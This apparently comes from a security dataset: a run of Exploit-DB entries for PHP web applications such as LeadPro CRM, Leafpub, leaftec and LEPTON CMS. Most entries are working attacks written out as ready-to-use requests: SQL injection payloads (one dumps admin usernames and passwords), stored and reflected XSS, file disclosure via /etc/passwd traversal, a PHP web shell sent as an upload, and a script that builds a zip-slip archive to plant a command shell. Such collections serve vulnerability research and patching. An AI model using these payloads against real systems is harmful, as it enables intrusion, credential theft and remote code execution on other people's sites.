deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51471
Description: LeadPro CRM v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-05-23
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: LeadPro CRM v1.0 - SQL Injection
# Date: 2023-05-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://codecanyon.net/item/leadifly-lead-call-center-crm/43485578
# Demo Site: https://demo.leadifly.in
# Tested on: Kali Linux
# CVE: N/A


### Request ###

GET /api/v1/products?fields=id,xid,name,price,product_type,tax_rate,tax_label,logo,logo_url&filters=name%20lk%20%22%25aa%25%22&order=id%20desc&offset=0&limit=10
HTTP/1.1
Host: localhost
Cookie:
XSRF-TOKEN=eyJpdiI6Ind6QkVPeUZzKzI3SWlqSnhjQksyK1E9PSIsInZhbHVlIjoiNU1FQzBRR3NJaFFMNXVrOFp6Y3puQjdNT3ZKcSsyYzc0Nllkc1ovbkMzRnJueDZWV1lnZzJ2RmRaZFRobmRRSmUzVFpDS3dhNVhVRS84UXQrd1FrWkFIclR4Z0d3UDk2YjdFS0MxN25aVG5sY2loQjFYVkhrRXdOV2lWM0s4Um4iLCJtYWMiOiI2MjBiMTEwYTY5MWE3YjYyZTRjYmU5MWU0ZTcwZjRmNGI5ZjUxNjZjNjFmMjc1ZDAwOTE1ODM3NzA5YzZkMzQzIiwidGFnIjoiIn0%3D;
leadifly_session=eyJpdiI6InYyUzVNWkVhVHVrODI2ZTl0a21SNmc9PSIsInZhbHVlIjoiSzNjeDVxYUJRbHZEOVd3Z2I3N2pWa1VrbHdTUUNNSmF6blFEN2E4Q3l5RjJ5WnUxbTdyaFJJN3dCUWhZRklzd3B2OWN5bkZJTnR0RndndGxyNjdRSUp6b2NBV1JhSHFWb211SllzajFkb3JCQmtqSzJEeU9ENDZDWW1jdnF0VHEiLCJtYWMiOiI1YjI1YTdlNjhkMDg4NTQyOGI0ODI0ODI5ZjliNzE0OWExNGUxMWVjYmY2MjM2Y2YyMmNkNjMzYmMzODYwNzE1IiwidGFnIjoiIn0%3D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Csrf-Token: kMwvghrsJyPwJ1LGTXnMgMQAtQGA33DzzMYdes6V
Authorization: Bearer
[CREDENTIAL_REDACTED]
X-Xsrf-Token:
eyJpdiI6Ind6QkVPeUZzKzI3SWlqSnhjQksyK1E9PSIsInZhbHVlIjoiNU1FQzBRR3NJaFFMNXVrOFp6Y3puQjdNT3ZKcSsyYzc0Nllkc1ovbkMzRnJueDZWV1lnZzJ2RmRaZFRobmRRSmUzVFpDS3dhNVhVRS84UXQrd1FrWkFIclR4Z0d3UDk2YjdFS0MxN25aVG5sY2loQjFYVkhrRXdOV2lWM0s4Um4iLCJtYWMiOiI2MjBiMTEwYTY5MWE3YjYyZTRjYmU5MWU0ZTcwZjRmNGI5ZjUxNjZjNjFmMjc1ZDAwOTE1ODM3NzA5YzZkMzQzIiwidGFnIjoiIn0=
Referer: https://localhost/admin/product
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close


### Parameter & Payloads ###

Parameter: filters (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:
fields=id,xid,name,price,product_type,tax_rate,tax_label,logo,logo_url&filters=name
lk "%aa%") AND (SELECT 6593 FROM (SELECT(SLEEP(5)))qBNH) AND
(8549=8549&order=id desc&offset=0&limit=10
Exploit-DB #52014
Description: Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-05-13
Author: Ahmet Ümit BAYRAM

Exploit:
# Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS)
# Date: 2024-04-24
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://github.com/Leafpub
# Software Link: https://github.com/Leafpub/leafpub
# Version: 1.1.9
# Tested on: MacOS

### Steps to Reproduce ###

- Please login from this address: http://localhost/leafpub/admin/login
- Click on the Settings > Advanced
- Enter the following payload into the "Custom Code" area and save it: ("><img
src=x onerror=alert("Stored")>)
- An alert message saying "Stored" will appear in front of you.

### PoC Request ###

POST /leafpub/api/settings HTTP/1.1
Host: localhost
Cookie:
authToken=[CREDENTIAL_REDACTED]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 476
Origin: http://localhost
Referer: http://localhost/leafpub/admin/settings
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

title=A+Leafpub+Blog&tagline=Go+forth+and+create!&homepage=&twitter=&theme=range&posts-per-page=10&cover=source%2Fassets%2Fimg%2Fleaves.jpg&logo=source%2Fassets%2Fimg%2Flogo-color.png&favicon=source%2Fassets%2Fimg%2Flogo-color.png&language=en-us&timezone=America%2FNew_York&default-title=Untitled+Post&default-content=Start+writing+here...&head-code=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22Stored%22)%3E&foot-code=&generator=on&mailer=default&maintenance-message=&hbs-cache=on
Exploit-DB #11889
Description: leaftec CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-26
Author: Valentin

Exploit:
# Exploit Title: leaftec cms multiple vulnerabilities
# Date: 21.03.2010
# Author: Valentin HÃ¶bel
# Version: 
# Tested on: Debian etch 
# CVE :  
# Code : 



:: General information
:: leaftec cms multiple vulnerabilities discovered
:: by Valentin HÃ¶bel
:: valentin@xenuser.org

:: Product information
:: Name = leaftec cms
:: Vendor = leaftec
:: Vendor Website = http://www.leaftec.de/
:: About the product = http://www.leaftec.de/serv_cms.php
:: Affected versions = 
:: Google dork: e.g. "Â© 2006 leaftec Design"


:: Vulnerabilities

#1 SQL Injection
Sadly the CMS is not available for free download but some German companies are using it.
leaftec cms contains a blog feature which displays written content, file: article.php. 

Vulnerable URL:
http://www.some-cool-domain.tld/article.php?id=XX

Examples for testing and injecting SQL stuff:
http://www.some-cool-domain.tld/article.php?id='
http://www.some-cool-domain.tld/article.php?id="
http://www.some-cool-domain.tld/article.php?id=XX+AND+1=2+UNION+SELECT+1,2,3,4,5,concat(version()),7--
(Tested on a live website using leaftec cms.)
--------------------------------------------------------------------------------------------------------


#2 XSS / HTML Code Injection
Several parts of the CMS allow HTML and Java Script code injection, e.g. the login box.
After submitting the form the cms puts a red border around the login and password field but
also implements the injected code into the website.

Example for HTML code:
"><iframe src=http://www.google.de></iframe>
--------------------------------------------------------------------------------------------------------



:: Additional information
:: Vendor contacted = 21.03.2010
:: Vulnerabilities fixed = no reply received
:: Solution = Upgrade to version XX or higher if available
Exploit-DB #28466
Description: Learn.com - 'Learncenter.asp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-30
Author: Crack_MaN

Exploit:
source: https://www.securityfocus.com/bid/19781/info

Learn.com learncenter is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/learncenter.asp?id="><script>alert(1);</script>
Exploit-DB #4680
Description: LearnLoop 2.0beta7 - 'sFilePath' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-11-29
Author: GoLd_M

Exploit:
LearnLoop 2.0beta7 (sFilePath) Remote File Disclosure Vulnerability
http://surfnet.dl.sourceforge.net/sourceforge/learnloop/learnloop2.0beta7.tar.gz
POC : /include/file_download.php?sFilePath=../../../../../../../etc/passwd

# milw0rm.com [2007-11-29]
Exploit-DB #23313
Description: Ledscripts LedForums - Multiple HTML Injections
Type: webapps
Platform: php
Date: 2003-10-30
Author: ProXy

Exploit:
source: https://www.securityfocus.com/bid/8934/info

It has been reported that LedForums is prone to a HTML injection vulnerability that may allow an attacker to execute HTML code in a user's browser. The issue is reported to be present in the 'top_message' and 'topic' fields. This problem is due to insufficient sanitization of user-supplied input.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

LedForums Beta 1 has been reported to be vulnerable to this issue.

http://www.example.com/~path/index.php?top_message=<script>alert(document.cookie)</script>
http://www.example.com/~path/index.php?top_message=<h1>OWNED?%20*g*</h1>

<script>window.location='http://www.example.org'</script>
Exploit-DB #38908
Description: Leed - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-18
Author: Alexandre Herzog

Exploit:
source: https://www.securityfocus.com/bid/64426/info

Leed is prone to an SQL-injection vulnerability.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/leed/action.php?action=removeFolder&id=[SQL Injection]
Exploit-DB #10930
Description: Left 4 Dead Stats 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-02
Author: Sora

Exploit:
----------------------------------
> Left 4 Dead Stats SQL Injection Vulnerability
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
> Google Dork: "In your dreams, script kiddies."

# VULNERABILITY DESCRIPTION:
Left 4 Dead Stats suffers from a remote SQL injection vulnerability in player.php.

# VULNERABILITY SOLUTION:
The owner of the website can sanitize the database inputs.

# Proof of Concept: http://www.site.com/l4dstats/player.php?steamid='
# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, Revelation, and Max Mafiotu.
Exploit-DB #36926
Description: LeKommerce - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-08
Author: Mazt0r

Exploit:
source: https://www.securityfocus.com/bid/52347/info

LeKommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/path/secc.php?id={sqli}
Exploit-DB #32081
Description: Lemon CMS 1.10 - 'browser.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-18
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30285/info

Lemon CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

Lemon CMS 1.10 is vulnerable; other versions may also be affected. 

http://www.example.com/lemon_includes/FCKeditor/editor/filemanager/browser/browser.php?dir=../../../../../../../../../../etc/passwd
Exploit-DB #42770
Description: Lending And Borrowing - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-22
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Lending And Borrowing Script - SQL Injection
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: http://www.i-netsolution.com/
# Software Link: http://www.i-netsolution.com/product/lending-borrowing-script/
# Demo: http://74.124.215.220/~realfund/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/single-cause.php?pid=[SQL]
# 
# -22'++/*!00002UNION*/(/*!00002SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,(/*!00002SELECT*/+GROUP_CONCAT(0x557365726e616d653a,username,0x506173733a,password+SEPARATOR+0x3c62723e)+FROM+admin),0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929,0x28333029,0x28333129,0x28333229,0x28333329,0x28333429,0x28333529,0x28333629,0x28333729,0x28333829,0x28333929,0x28343029,0x28343129,0x28343229,0x28343329,0x28343429,0x28343529,0x28343629,0x28343729)--+-
# 
# Etc..
# # # # #
Exploit-DB #36787
Description: LEPTON 1.1.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52026/info

LEPTON is prone to multiple input-validation vulnerabilities, including:

1. A cross-site scripting vulnerability
2. An SQL-injection vulnerability
3. A local file-include vulnerability
4. Multiple HTML-injection vulnerabilities

Exploiting these issues could allow an attacker to execute arbitrary script and PHP code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

LEPTON 1.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/admins/login/forgot/index.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E
Exploit-DB #40801
Description: LEPTON 2.2.2 - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-11-21
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   LEPTON 2.2.2 stable
Fixed in:           2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Vendor Website:     http://www.lepton-cms.org/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to        11/10/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to code execution as it is possible to upload files with dangerous
type via the media manager.

3. Details

Upload of file with dangerous type

CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description: When uploading a file in the media tab, there is a client-side as
well as a server-side extension check. The server-side check can be bypassed by
including a valid extension before the desired extension, leading to code
execution or XSS.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken=
099c871bbf640f2f91d2az[PII_REDACTED] HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid=
8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]258279296
Content-Length: 613 ----------------------------[PII_REDACTED][PII_REDACTED]258279296
Content-Disposition: form-data; name="action" media_upload
----------------------------[PII_REDACTED][PII_REDACTED]258279296 Content-Disposition:
form-data; name="current_dir"
----------------------------[PII_REDACTED][PII_REDACTED]258279296 Content-Disposition:
form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <?
php passthru($_GET['x']);
----------------------------[PII_REDACTED][PII_REDACTED]258279296 Content-Disposition:
form-data; name="submit" Upload File(s)
----------------------------[PII_REDACTED][PII_REDACTED]258279296-- http://localhost/
LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id

4. Solution

To mitigate this issue please upgrade at least to version 2.3.0:

http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-Code-Execution-171.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Exploit-DB #40247
Description: Lepton CMS 2.2.0/2.2.1 - Directory Traversal
Type: webapps
Platform: php
Date: 2016-08-16
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (HYP3RLINX)

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/LEPTON-ARCHIVE-DIRECTORY-TRAVERSAL.txt

[+] ISR: ApparitionSec


Vendor:
==================
www.lepton-cms.org


Product:
=================================
Lepton CMS 2.2.0 / 2.2.1 (update)

LEPTON is an easy-to-use but full customizable Content Management System (CMS).


Vulnerability Type:
============================
Archive Directory Traversal 


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

Lepton has feature that lets users install new modules, if malicious user uploads an archive and the module is not valid it
will generate an error. However, the malicious archive will still get decompressed and no check is made for ../ characters in
the file name allowing in arbitrary PHP files to be placed outside the intended target directory for installed modules. This can
then be used to execute remote commands on the affected host system. 

e.g.

We get error message as below.

under "Add Ons" tab Install Module.
Invalid LEPTON installation file. Please check the *.zip format.[1]

Archive still gets decompressed and the malicious file is moved outside of the intended target directory, by using ../ in file name.


Exploit code(s):
===============

<?php
#Archive Directory Traversal to RCE exploit 
#==============================================

if($argc<2){echo "Usage: <filename>";exit();}
$file_name=$argv[1];

$zip = new ZipArchive();
$res = $zip->open("$file_name.zip", ZipArchive::CREATE);
$zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php exec($_GET["cmd"]); ?>');
$zip->close();

echo "Malicious archive created...\r\n";
echo "========= hyp3rlinx ============";
?>


Disclosure Timeline:
===========================================================
Attempted Vendor Notification: June 11, 2016 (No replies)
Vendor Notification on July 12, 2016 ( thanks Henri Salo )
Vendor Acknowledgement: July 13, 2016
Vendor fixes: July 14, 2016
Vendor release version 2.2.2 : August 12, 2016
August 15, 2016  : Public Disclosure


Exploitation Technique:
=======================
Local


Severity Level:
================
High


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX
Exploit-DB #49137
Description: LEPTON CMS 4.7.0 - 'URL' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-12-01
Author: Sagar Banwa

Exploit:
# Exploit Title: LEPTON CMS 4.7.0  - 'URL' Persistent Cross-Site Scripting
# Date: 19-11-2020
# Exploit Author: Sagar Banwa
# Vendor Homepage: https://lepton-cms.org/
# Software Link: https://lepton-cms.org/english/download/archive.php
# Version: 4.7.0
# Tested on: Windows 10/Kali Linux
# CVE: CVE-2020-29240

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Vulnerable Parameters: Pages URL.

Steps-To-Reproduce:
1. Login to the Admin Account 
2. Go to the Menu-Pages-Pages Overview.
3. Now edit any page
4. Put the below payload in the url input box.
5.ex. https://localhost/_packinstall/"onmouseover=prompt(/xss/)>

POST /LEPTONmvkzycfafg/modules/wrapper/save.php?leptoken=a8274f4a99bb3c2d1d857z[PII_REDACTED] HTTP/1.1
Host: localhost
Connection: close
Content-Length: 130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://localhost/LEPTONmvkzycfafg/backend/pages/modify.php?page_id=1&leptoken=33bfc986e094ce5dd7655z[PII_REDACTED]
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: lep5031sessionid=75627dd11a0e789c4e560f7a93cd3153

page_id=1&section_id=1&url=https%3A%2F%2Flocalhost%2F_packinstall%2F%22onmouseover%3Dprompt%28%2Fxss%2F%29%3E+&height=900
Exploit-DB #48250
Description: LeptonCMS 4.5.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-03-25
Author: SunCSR

Exploit:
# Exploit Title: LeptonCMS 4.5.0 - Persistent Cross-Site Scripting
# Google Dork: "lepton cms"
# Date: 2019-03-24
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://lepton-cms.org/english/home.php
# Software Link:
https://lepton-cms.org/posts/new-release-lepton-4.5.0-139.php
# Version: 4.5.0
# Tested on: Windows
# CVE : CVE-2020-12707

### Vulnerability : Persistent Cross-Site Scripting

# Description
A stored cross-site-scripting security issue in the edit page feature
Url : http://TARGET/lepton/backend/pages/modify.php
Request Type: POST
Vulnerable Parameter : "content"
Payload : content=<script>alert('XSS')</script>

#POC
POST /lepton/modules/wysiwyg/save.php?leptoken=03d01fea73f9810402beez[PII_REDACTED] HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://TARGET
Connection: close
Referer: http://TARGET/lepton/backend/pages/modify.php?page_id=5&leptoken=f04ef2dc728873e9fa849z[PII_REDACTED]
Cookie: cookieconsent_status=dismiss; SESSc3618c3927e551a1d6443b365aef1bc3=_guGZcGkV8IUWJx91f8pVQo8aBpxO4ipp75Un8WQN-g; _ctr=MTI3XzBfMF8xLlpa; nv4_cltz=420.420.420%257C%252F%257C.thiennv.com; nv4_ctr=MTI3XzBfMF8xLlpa; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7; lep8407sessionid=6aqrn6ccetoeqdes68e44hdlul
Upgrade-Insecure-Requests: 1

page_id=5&section_id=5&content5=<script>alert('XSS')</script>

### History
=============
2020-03-18  Issue discovered
2020-04-20  Vendor contacted
2020-04-21  Vendor response and hotfix
2020-04-23  Vendor releases fixed versions